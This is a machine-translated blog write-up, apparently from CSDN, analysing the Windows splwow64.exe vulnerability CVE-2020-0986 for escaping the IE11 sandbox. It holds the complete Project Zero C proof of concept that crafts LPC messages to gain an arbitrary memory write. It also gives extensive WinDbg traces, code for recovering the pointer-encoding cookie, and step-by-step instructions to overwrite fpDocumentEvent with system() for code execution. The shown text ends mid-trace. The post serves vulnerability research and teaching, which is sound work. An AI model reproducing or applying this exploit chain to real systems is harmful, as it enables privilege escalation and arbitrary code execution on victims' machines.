💂 Personal homepage: Your little sweet heart~_ CSDN blog
🤟 Update / learn tutorials / WEB Security / Intranet penetration / binary security / reverse engineering / and other articles every day. You can continue to pay attention to them
💬 If the article is helpful to you, welcome to follow, like, collect (one click three links) and subscribe to the column.
💅 If you have any questions, you are welcome to send a private letter and will reply in time!
preface
This article describes how to use CVE-2020-0986 to realize IE sandbox escape.
This article will not give a complete utilization code, but only share some vulnerability utilization ideas.
On April 30, 2021, Anheng Threat Intelligence Center released an article In depth analysis of CVE-2021-26411 IE browser UAF vulnerability , the principle and utilization process of this vulnerability are analyzed in detail. Finally, the article mentioned that "this IE vulnerability needs to be combined with a rights raising vulnerability in IE11 environment to realize code execution. At present, there is no disclosure of the rights raising vulnerability supporting this vulnerability". Therefore, for the purpose of research and learning, I read the speech of snow SDC in 2020 by referring to @iamelli0t master Escape IE sandbox: replay of 0Day vulnerability exploitation in the field , reproduced the right raising EXP of CVE-2020-0986, and realized IE 11 sandbox escape with CVE-2021-26411.
Vulnerability overview
CVE-2021-26411 has been described in detail in Anheng's article, which is not introduced here.
CVE-2020-0986 is an arbitrary pointer dereference vulnerability in the printer driver main process splwow64.exe in user mode. This vulnerability allows the use of arbitrary parameters to call the Memcpy function in the splwow64.exe process space, which actually implements a primitive for arbitrary address writing in the splwow64.exe process space. Because splwow64.exe is a whitelist process of IE rights raising policy, you can use IE code execution to start splwow64.exe process, and manipulate splwow64.exe process memory by sending specific LPC messages, so as to execute arbitrary code in splwow64.exe process and escape IE 11 sandbox.
POC
POC used in this analysis comes from google project zero.
#include <iostream>; #include "windows.h"; #include "Shlwapi.h"; #include "winternl.h"; typedef struct _PORT_VIEW { UINT64 Length; HANDLE SectionHandle; UINT64 SectionOffset; UINT64 ViewSize; UCHAR* ViewBase; UCHAR* ViewRemoteBase; } PORT_VIEW, * PPORT_VIEW; PORT_VIEW ClientView; typedef struct _PORT_MESSAGE_HEADER { USHORT DataSize; USHORT MessageSize; USHORT MessageType; USHORT VirtualRangesOffset; CLIENT_ID ClientId; UINT64 MessageId; UINT64 SectionSize; } PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER; typedef struct _PORT_MESSAGE { PORT_MESSAGE_HEADER MessageHeader; UINT64 MsgSendLen; UINT64 PtrMsgSend; UINT64 MsgReplyLen; UINT64 PtrMsgReply; UCHAR Unk4[0x1F8]; } PORT_MESSAGE, * PPORT_MESSAGE; PORT_MESSAGE LpcRequest; PORT_MESSAGE LpcReply; NTSTATUS(NTAPI* NtOpenProcessToken)( _In_ HANDLE ProcessHandle, _In_ ACCESS_MASK DesiredAccess, _Out_ PHANDLE TokenHandle ); NTSTATUS(NTAPI* ZwQueryInformationToken)( _In_ HANDLE TokenHandle, _In_ TOKEN_INFORMATION_CLASS TokenInformationClass, _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation, _In_ ULONG TokenInformationLength, _Out_ PULONG ReturnLength ); NTSTATUS(NTAPI* NtCreateSection)( PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PLARGE_INTEGER MaximumSize, ULONG SectionPageProtection, ULONG AllocationAttributes, HANDLE FileHandle ); NTSTATUS(NTAPI* ZwSecureConnectPort)( _Out_ PHANDLE PortHandle, _In_ PUNICODE_STRING PortName, _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, _In_opt_ PSID Sid, _Inout_opt_ PVOID ServerView, _Out_opt_ PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS(NTAPI* NtRequestWaitReplyPort)( IN HANDLE PortHandle, IN PPORT_MESSAGE LpcRequest, OUT PPORT_MESSAGE LpcReply ); int Init() { HMODULE ntdll = GetModuleHandleA("ntdll"); NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken"); if (NtOpenProcessToken == NULL) { return 0; } ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken"); if (ZwQueryInformationToken == NULL) { return 0; } NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection"); if (NtCreateSection == NULL) { return 0; } ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort"); if (ZwSecureConnectPort == NULL) { return 0; } NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort"); if (NtRequestWaitReplyPort == NULL) { return 0; } return 1; } int GetPortName(PUNICODE_STRING DestinationString) { void* tokenHandle; DWORD sessionId; ULONG length; int tokenInformation[16]; WCHAR dst[256]; memset(tokenInformation, 0, sizeof(tokenInformation)); ProcessIdToSessionId(GetCurrentProcessId(), &sessionId); memset(dst, 0, sizeof(dst)); if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle) || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length)) { return 0; } wsprintfW( dst, L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x", sessionId, tokenInformation[2], tokenInformation[3], 0x2000); printf("name: %ls\n", dst); RtlInitUnicodeString(DestinationString, dst); return 1; } HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName) { HANDLE sectionHandle = 0; HANDLE portHandle = 0; union _LARGE_INTEGER maximumSize; maximumSize.QuadPart = 0x20000; if (0 != NtCreateSection(§ionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) { return 0; } if (sectionHandle) { ClientView.SectionHandle = sectionHandle; ClientView.Length = 0x30; ClientView.ViewSize = 0x9000; int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL); if(retval){ return 0; } } return portHandle; } PVOID PrepareMessage() { memset(&LpcRequest, 0, sizeof(LpcRequest)); LpcRequest.MessageHeader.DataSize = 0x20; LpcRequest.MessageHeader.MessageSize = 0x48; LpcRequest.MsgSendLen = 0x88; LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase; LpcRequest.MsgReplyLen = 0x10; LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88; memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest)); *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event) *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle *((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160; *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005; *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200; *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767; *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810; return ClientView.ViewBase; } void DebugWrite() { printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48); } bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size) { *((UINT64*)ClientView.ViewBase + 0xB) = offset; *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48; memcpy(ClientView.ViewBase + 0x810, buf, size); DebugWrite(); return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0; } int main() { Init(); CHAR Path[0x100]; GetCurrentDirectoryA(sizeof(Path), Path); PathAppendA(Path, "CreateDC.exe"); if (!(PathFileExistsA(Path))) { return 0; } WinExec(Path, 0); CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL); UNICODE_STRING portName; if (!GetPortName(&portName)) { return 0; } HANDLE portHandle = CreatePortSharedBuffer(&portName); if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase)) { return 0; } PrepareMessage(); printf("Press [Enter] to continue . . ."); fflush(stdout); getchar(); UINT64 value = 0; if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8)) { return 0; } printf("Done\n"); return 0; }
POC analysis
A simple LPC communication has the following steps:
- Server specifies a port name and creates a port
- Server listens on the created port
- Port created by Client connection Server
- The Server accepts the Client connection request and completes the connection
- The Client sends the request message and waits for the Server response
- The Server accepts the request message and responds
In the process of LPC communication, if the message is large, the communication parties will exchange data in the way of shared memory area, but will coordinate and synchronize through the message.
The communication process of LPC is shown in the figure below (the picture comes from @iamelli0t master watching the speech PPT of snow SDC)
<img src="https://gitee.com/tianxuan-securitylab/source/raw/master/img/1623401452747.png" alt="1623401452747" style="zoom: 50%;" />
For more LPC related content, please refer to it by yourself. This article will not elaborate.
At present, it is known that after sending LPC message to splwow64.exe process through NtRequestWaitReplyPort, splwow64!TLPCMgr::ProcessRequest processes LPC messages, so splwow64!TLPCMgr::ProcessRequest disconnect.
0:009> bu splwow64!TLPCMgr::ProcessRequest 0:009> bu gdi32full!GdiPrinterThunk 0:009> g Breakpoint 0 hit splwow64!TLPCMgr::ProcessRequest: 00007ff7`0bf176ac 48895c2418 mov qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90 0:007> r rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0 rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0 rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478 r8=000000000279f328 r9=0000000000b6a478 r10=0000000000000000 r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c r14=0000000000d78778 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 splwow64!TLPCMgr::ProcessRequest: 00007ff7`0bf176ac 48895c2418 mov qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90
rdx=0000000000d7cac0 is LpcRequest
IDA disassembly TLPCMgr::ProcessRequest
windbg debug the code shown in the figure above
0:007> splwow64!TLPCMgr::ProcessRequest+0x6e: 00007ff7`0bf1771a 66833f20 cmp word ptr [rdi],20h ds:00000000`00d7cac0=0020 0:007> splwow64!TLPCMgr::ProcessRequest+0x72: 00007ff7`0bf1771e 418bef mov ebp,r15d 0:007> p splwow64!TLPCMgr::ProcessRequest+0x75: 00007ff7`0bf17721 418bdf mov ebx,r15d 0:007> splwow64!TLPCMgr::ProcessRequest+0x78: 00007ff7`0bf17724 41be57000000 mov r14d,57h 0:007> splwow64!TLPCMgr::ProcessRequest+0x7e: 00007ff7`0bf1772a 7523 jne splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0] 0:007> splwow64!TLPCMgr::ProcessRequest+0x80: 00007ff7`0bf1772c 4d397d48 cmp qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //Judge GDI32!GdiPrinterThunk pointer 0:007> splwow64!TLPCMgr::ProcessRequest+0x84: 00007ff7`0bf17730 741d je splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0] 0:007> p splwow64!TLPCMgr::ProcessRequest+0x86: 00007ff7`0bf17732 8b5f28 mov ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088 0:007> p splwow64!TLPCMgr::ProcessRequest+0x89: 00007ff7`0bf17735 8d43f0 lea eax,[rbx-10h] 0:007> p splwow64!TLPCMgr::ProcessRequest+0x8c: 00007ff7`0bf17738 3defff0f00 cmp eax,0FFFEFh 0:007> r eax eax=78 0:007> p splwow64!TLPCMgr::ProcessRequest+0x91: 00007ff7`0bf1773d 0f8737030000 ja splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0] 0:007> p splwow64!TLPCMgr::ProcessRequest+0x97: 00007ff7`0bf17743 8bcb mov ecx,ebx 0:007> p splwow64!TLPCMgr::ProcessRequest+0x99: 00007ff7`0bf17745 e8de430000 call splwow64!operator new[] (00007ff7`0bf1bb28) 0:007> p splwow64!TLPCMgr::ProcessRequest+0x9e: 00007ff7`0bf1774a 488bf0 mov rsi,rax 0:007> r rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380 rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0 rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000 r8=0000000000000000 r9=0000000000000001 r10=0000000000d70000 r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0 r14=0000000000000057 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 splwow64!TLPCMgr::ProcessRequest+0x9e: 00007ff7`0bf1774a 488bf0 mov rsi,rax
The above code mainly does three things: first judge whether LpcRequest.MessageHeader.DataSize is 0x20, and then judge gdi32! If the GdiPrinterThunk function pointer exists, if it all exists, fetch the value of LpcRequest.MsgSendLen to 0x88 EBX and then call splwow64!operator new allocates a memory space of 0x88 in the splwow64.exe process space. Next, we call this space InputBuffer.
Continue to look at IDA's disassembly code
Firstly, copy the data from the shared memory used by LPC communication to the InPutBuffer, then take out the value of LpcRequest.PtrMsgReply to v9, then take out the value of LpcRequest.MsgReplyLen to v10, and finally take out the value of LpcRequest.MessageHeader.MessageType to v11. Next, judge the values of v11 and v12. Here, the judgment results of v11 and v12 will affect whether the program flow enters the vulnerable function. Because the values of v11 and v12 are obtained from LpcRequest, we can control LpcRequest to let the program follow our expected process, that is, enter gdi32!GdiPrinterThunk function, in gdi32! Gdi32full in gdiprinterthunk! Gdiprinterthunk function.
windbg debug the above code
0:007> p splwow64!TLPCMgr::ProcessRequest+0xa1: 00007ff7`0bf1774d eb30 jmp splwow64!TLPCMgr::ProcessRequest+0xd3 (00007ff7`0bf1777f) 0:007> splwow64!TLPCMgr::ProcessRequest+0xd3: 00007ff7`0bf1777f 4885f6 test rsi,rsi 0:007> splwow64!TLPCMgr::ProcessRequest+0xd6: 00007ff7`0bf17782 0f84eb020000 je splwow64!TLPCMgr::ProcessRequest+0x3c7 (00007ff7`0bf17a73) [br=0] 0:007> splwow64!TLPCMgr::ProcessRequest+0xdc: 00007ff7`0bf17788 4c8b4730 mov r8,qword ptr [rdi+30h] ds:00000000`00d7caf0=0000000000d20000 0:007> splwow64!TLPCMgr::ProcessRequest+0xe0: 00007ff7`0bf1778c 488bce mov rcx,rsi 0:007> splwow64!TLPCMgr::ProcessRequest+0xe3: 00007ff7`0bf1778f 8bd3 mov edx,ebx 0:007> splwow64!TLPCMgr::ProcessRequest+0xe5: 00007ff7`0bf17791 448bcb mov r9d,ebx 0:007> splwow64!TLPCMgr::ProcessRequest+0xe8: 00007ff7`0bf17794 ff1506720000 call qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)} 0:007> r rax=0000000000d785e0 rbx=0000000000000088 rcx=0000000000d785e0 rdx=0000000000000088 rsi=0000000000d785e0 rdi=0000000000d7cac0 rip=00007ff70bf17794 rsp=000000000279f2e0 rbp=0000000000000000 r8=0000000000d20000 r9=0000000000000088 r10=0000000000d70000 r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0 r14=0000000000000057 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 splwow64!TLPCMgr::ProcessRequest+0xe8: 00007ff7`0bf17794 ff1506720000 call qword ptr [splwow64!_imp_memcpy_s (00007ff7`0bf1e9a0)] ds:00007ff7`0bf1e9a0={msvcrt!memcpy_s (00007ffa`c8fcd0e0)}
rcx, rdx, r8 and r9 are memcpy respectively_ The four parameters of S, rcx points to InputBuffer, and rdx and r9 are size.
r8 points to shared memory for LPC communication
Data copied to InputBuffer
0:007> p splwow64!TLPCMgr::ProcessRequest+0xee: 00007ff7`0bf1779a 4c8b6740 mov r12,qword ptr [rdi+40h] ds:00000000`00d7cb00=0000000000d20088 0:007> dq rcx l11 00000000`00d785e0 0000006d`00000000 00000000`00000000 00000000`00d785f0 00000000`00000000 00000000`00d20100 00000000`00d78600 00000005`00000005 00000000`00000000 00000000`00d78610 00000000`00000000 00000020`00000001 00000000`00d78620 00000000`00000000 00000000`00000000 00000000`00d78630 00000000`00d20800 41414141`41414141 00000000`00d78640 00000000`00000000 00000000`00000000 00000000`00d78650 00000000`00000000 00000000`00000000 00000000`00d78660 00000000`00000000
Then assign values to v9, v10 and v11
0:007> r rdi rdi=0000000000d7cac0 //PORT_MESSAGE 0:007> p splwow64!TLPCMgr::ProcessRequest+0xee: 00007ff7`0bf1779a 4c8b6740 mov r12,qword ptr [rdi+40h] //r12 is V9 = PtrMsgReply ds:00000000`00d7cb00=0000000000d20088 0:007> p splwow64!TLPCMgr::ProcessRequest+0xf2: 00007ff7`0bf1779e 448b7738 mov r14d,dword ptr [rdi+38h] //r14d is v10 = MsgReplyLen ds:00000000`00d7caf8=00000010 0:007> p splwow64!TLPCMgr::ProcessRequest+0xf6: 00007ff7`0bf177a2 0fb75f04 movzx ebx,word ptr [rdi+4] ds:00000000`00d7cac4=0001 //ebx = v11 = MessageType 0:007> p splwow64!TLPCMgr::ProcessRequest+0xfa: 00007ff7`0bf177a6 488b0d9ba80000 mov rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)} 0:007> r rax=0000000000000000 rbx=0000000000000001 rcx=0000000000d785e0 rdx=fffffffffffa7a20 rsi=0000000000d785e0 rdi=0000000000d7cac0 rip=00007ff70bf177a6 rsp=000000000279f2e0 rbp=0000000000000000 r8=0000000000000000 r9=0000000000000000 r10=0000000000d70000 r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0 r14=0000000000000010 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 splwow64!TLPCMgr::ProcessRequest+0xfa: 00007ff7`0bf177a6 488b0d9ba80000 mov rcx,qword ptr [splwow64!WPP_GLOBAL_Control (00007ff7`0bf22048)] ds:00007ff7`0bf22048={splwow64!WPP_MAIN_CB (00007ff7`0bf22708)}
After a series of judgments, the program finally entered gdi32full!GdiPrinterThunk, and the three parameters passed in are: InputBuffer, PtrMsgReply and MsgReplyLen.
0:007> p splwow64!TLPCMgr::ProcessRequest+0x1ec: 00007ff7`0bf17898 458bc6 mov r8d,r14d 0:007> p splwow64!TLPCMgr::ProcessRequest+0x1ef: 00007ff7`0bf1789b 498bd4 mov rdx,r12 0:007> p splwow64!TLPCMgr::ProcessRequest+0x1f2: 00007ff7`0bf1789e 488bce mov rcx,rsi 0:007> p splwow64!TLPCMgr::ProcessRequest+0x1f5: 00007ff7`0bf178a1 ff15e9720000 call qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)} 0:007> r rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0 rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0 rip=00007ff70bf178a1 rsp=000000000279f2e0 rbp=0000000000000000 r8=0000000000000010 r9=0000000000000000 r10=0000000000d70000 r11=0000000000d785e0 r12=0000000000d20088 r13=0000000000d756f0 r14=0000000000000010 r15=0000000000000000 iopl=0 nv up ei pl zr na po nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 splwow64!TLPCMgr::ProcessRequest+0x1f5: 00007ff7`0bf178a1 ff15e9720000 call qword ptr [splwow64!_guard_dispatch_icall_fptr (00007ff7`0bf1eb90)] ds:00007ff7`0bf1eb90={ntdll!LdrpDispatchUserCallTarget (00007ffa`c946c590)} .................................................. 0:007> p ntdll!LdrpDispatchUserCallTarget+0x7: 00007ffa`c946c597 4c8bd0 mov r10,rax 0:007> ln rax Browse module Clear breakpoint 2 (00007ffa`c8e48eb0) GDI32!GdiPrinterThunk | (00007ffa`c8e48ebc) GDI32!_imp_load_GdiProcessSetup Exact matches: 0:007> p ntdll!LdrpDispatchUserCallTarget+0xa: 00007ffa`c946c59a 49c1ea09 shr r10,9 0:007> ntdll!LdrpDispatchUserCallTarget+0xe: 00007ffa`c946c59e 4f8b1cd3 mov r11,qword ptr [r11+r10*8] ds:00007ff5`d81a9238=8888888888888888 0:007> ntdll!LdrpDispatchUserCallTarget+0x12: 00007ffa`c946c5a2 4c8bd0 mov r10,rax 0:007> ln rax Browse module Clear breakpoint 2 (00007ffa`c8e48eb0) GDI32!GdiPrinterThunk | (00007ffa`c8e48ebc) GDI32!_imp_load_GdiProcessSetup Exact matches: ............................................. 0:007> p Breakpoint 1 hit gdi32full!GdiPrinterThunk: 00007ffa`c71a59b0 48895c2410 mov qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0 0:007> r rax=00007ffac8e48eb0 rbx=0000000000000000 rcx=0000000000d785e0 rdx=0000000000d20088 rsi=0000000000d785e0 rdi=0000000000d7cac0 rip=00007ffac71a59b0 rsp=000000000279f2d8 rbp=0000000000000000 r8=0000000000000010 r9=0000000000000000 r10=00000fff591c91d7 r11=8888888888888888 r12=0000000000d20088 r13=0000000000d756f0 r14=0000000000000010 r15=0000000000000000 iopl=0 nv up ei pl nz na po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000207 gdi32full!GdiPrinterThunk: 00007ffa`c71a59b0 48895c2410 mov qword ptr [rsp+10h],rbx ss:00000000`0279f2e8=0000000000d785e0
Enter gdi32full! After gdiprinterthunk function, get the index value first, because different index values will be processed by different functions. The index value is DWORD at InputBuffer+0x4.
The following is the processing function we expect to enter. It can be seen that when fun_ If the index is 0x6D, we can enter the desired code block.
Before entering the code Memcpy that triggers the vulnerability, four if judgments and a Decode function are required.
The values of these four if judgments can be directly or indirectly controlled by us, so the program will eventually come to the vulnerability function Memcpy, and the three parameters: destination address, source address and size can be controlled by us. Therefore, a Write What Where Primitive in splwow64 process space is implemented here. The Decode function is used to Decode the DocumentEvent pointer of Encode, that is, to Decode the fpDocumentEvent pointer to obtain the real function pointer.
0:007> gdi32full!GdiPrinterThunk+0x2ac: 00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=7ec611be0000fff5 0:007> p gdi32full!GdiPrinterThunk+0x2b3: 00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)} 0:007> p gdi32full!GdiPrinterThunk+0x2ba: 00007ffa`c71a5c6a 0f1f440000 nop dword ptr [rax+rax] 0:007> ln rax Browse module Set bu breakpoint (00007ffa`b1328f80) WINSPOOL!DocumentEvent | (00007ffa`b132939c) WINSPOOL!CallDrvDocumentEvent Exact matches: WINSPOOL!DocumentEvent (void) 0:007> gdi32full!GdiPrinterThunk+0x1fd4a: 00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33) 0:007> r rax=0000000000d20800 rbx=0000000000d20160 rcx=4141414141414141 rdx=0000000000d20810 rsi=0000000000d20088 rdi=0000000000d785e0 rip=00007ffac71c56fa rsp=000000000279f210 rbp=000000000279f279 r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0 r11=000000000279f0e0 r12=0000000000000000 r13=0000000000000001 r14=0000000000000010 r15=0000000000000000 iopl=0 nv up ei ng nz ac po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297 gdi32full!GdiPrinterThunk+0x1fd4a: 00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33)
Exploit vulnerability
Through the above analysis of POC, we get the following information.
- We can freely construct the LPC message passed into the splwow64.exe process, so we can control the program flow and go to the DocumentEvent function every time.
- We have a primitive written at any address.
reference resources Kaspersky According to the analysis article, we know that the fpDocumentEvent function pointer is an encoded value, and the value obtained by each encoding is different, depending on the current Cookie value.
__int64 __fastcall RtlEncodePointer(__int64 a1) { __int64 v1; // rax __int64 v2; // rbx unsigned int v4; // eax unsigned int v5; // [rsp+48h] [rbp+10h] v1 = (unsigned int)`RtlpGetCookieValue'::`2'::CookieValue; v2 = a1; if ( !`RtlpGetCookieValue'::`2'::CookieValue ) { v4 = NtQueryInformationProcess(-1i64, 36i64, &v5); if ( (v4 & 0x80000000) != 0 ) RtlRaiseStatus(v4); v1 = v5; `RtlpGetCookieValue'::`2'::CookieValue = v5; } return __ROR8__(v2 ^ v1, v1 & 0x3F); }
In splwow64.exe, each time DocumentEvent is executed, fpDocumentEvent is decoded to obtain the original DocumentEvent function pointer, and then called. fpDocumentEvent is located in the. data section of splwow64.exe process, that is, the offset of fpDocumentEvent pointer is determined.
At the same time, we know the fact that the randomization of address space layout on Windows system is based on boot, that is, after the system is started, the base address of the system DLL will not change until the next system restart. Therefore, by manually loading gdi32full.dll in EXP, we can know the actual address of the current fpDocumentEvent pointer.
The idea of vulnerability exploitation is to use the primitive written at any address to replace the fpDocumentEvent function pointer with the function pointer we want to call, such as the system function pointer. Because the DocumentEvent function will be called every time in the case of a specific index value, when we replace it successfully, the actually called function is system.
Vulnerability exploitation steps:
-
In the debugging environment, determine the pointer offset of fpDocumentEvent function, which is called fpDocOffset here.
-
In the exploit program, manually load gdi32full.dll and winspool.drv to obtain the BaseAddress and DocumentEvent function pointers of gdi32full.dll respectively.
-
Send an LPC message to splwow64.exe to obtain the fpDocumentEvent function pointer at BaseAddress+fpDocOffset address.
-
At present, we have obtained the fpDocumentEvent function pointer and DocumentEvent function pointer, that is, the function pointer before and after coding, so we can calculate the Cookie value used for coding. The calculation formula is as follows. (from @iamelli0t master watching snow SDC's speech PPT)
UINT64 CalcCookie(UINT64 encodePtr, UINT64 decodePtr) { UINT cookie = 0; for (UINT i = 0; i <= 0x3f; i++) { cookie = (UINT)decodePtr ^ __ROL8__(encodePtr, i & 0x3F); if ((cookie & 0x3f) == i && __ROR8__(decodePtr ^ cookie, cookie & 0x3f) == encodePtr) { break; } } return cookie; }
5. The Cookie value obtained in step 4 encodes the system function pointer. Here, we call the encoded value fpSystem. The encoding formula is as follows. (from Kaspersky (blog)
UINT64 encodePtr = __ROR8__(cookie ^ (UINT64)systemAdd, cookie & 0x3f);
6. Continue to send LPC messages and fill the fpSystem function pointer to the BaseAddress+fpDocOffset address through shared memory.
seven Finally, send the LPC message with a specific index value again, and include the parameters of the system function in the LPC message.
Let's look at the specific process through debugging
1. Obtain fpDocumentEvent function pointer from splwow64.exe process space to shared memory
0:006> gdi32full!GdiPrinterThunk+0x2ac: 00007ffa`c71a5c5c 488b0d85d51300 mov rcx,qword ptr [gdi32full!fpDocumentEvent (00007ffa`c72e31e8)] ds:00007ffa`c72e31e8=07ffa3f668d74000 0:006> ln 00007ffa`c72e31e8 Browse module Set bu breakpoint (00007ffa`c72e31e8) gdi32full!fpDocumentEvent | (00007ffa`c72e31f0) gdi32full!fpQuerySpoolMode Exact matches: 0:006> p gdi32full!GdiPrinterThunk+0x2b3: 00007ffa`c71a5c63 48ff1536960a00 call qword ptr [gdi32full!_imp_RtlDecodePointer (00007ffa`c724f2a0)] ds:00007ffa`c724f2a0={ntdll!RtlDecodePointer (00007ffa`c94477a0)} ......................................................... ......................................................... 0:006> gdi32full!GdiPrinterThunk+0x1fd4a: 00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33) 0:006> r rax=0000000000a20800 rbx=0000000000a20160 rcx=0000000000a20060 rdx=00007ffac72e31e8 rsi=0000000000a20088 rdi=0000000000cdca80 rip=00007ffac71c56fa rsp=000000000267f280 rbp=000000000267f2e9 r8=0000000000000008 r9=0000000000000100 r10=00000fff5920c6c0 r11=000000000267f150 r12=0000000000000000 r13=0000000000000001 r14=0000000000000010 r15=0000000000000000 iopl=0 nv up ei ng nz ac po cy cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000297 gdi32full!GdiPrinterThunk+0x1fd4a: 00007ffa`c71c56fa e834d5feff call gdi32full!memcpy (00007ffa`c71b2c33) 0:006> p gdi32full!GdiPrinterThunk+0x1fd4f: 00007ffa`c71c56ff 90 nop 0:006> dq 00000000`00a20060 l2 00000000`00a20060 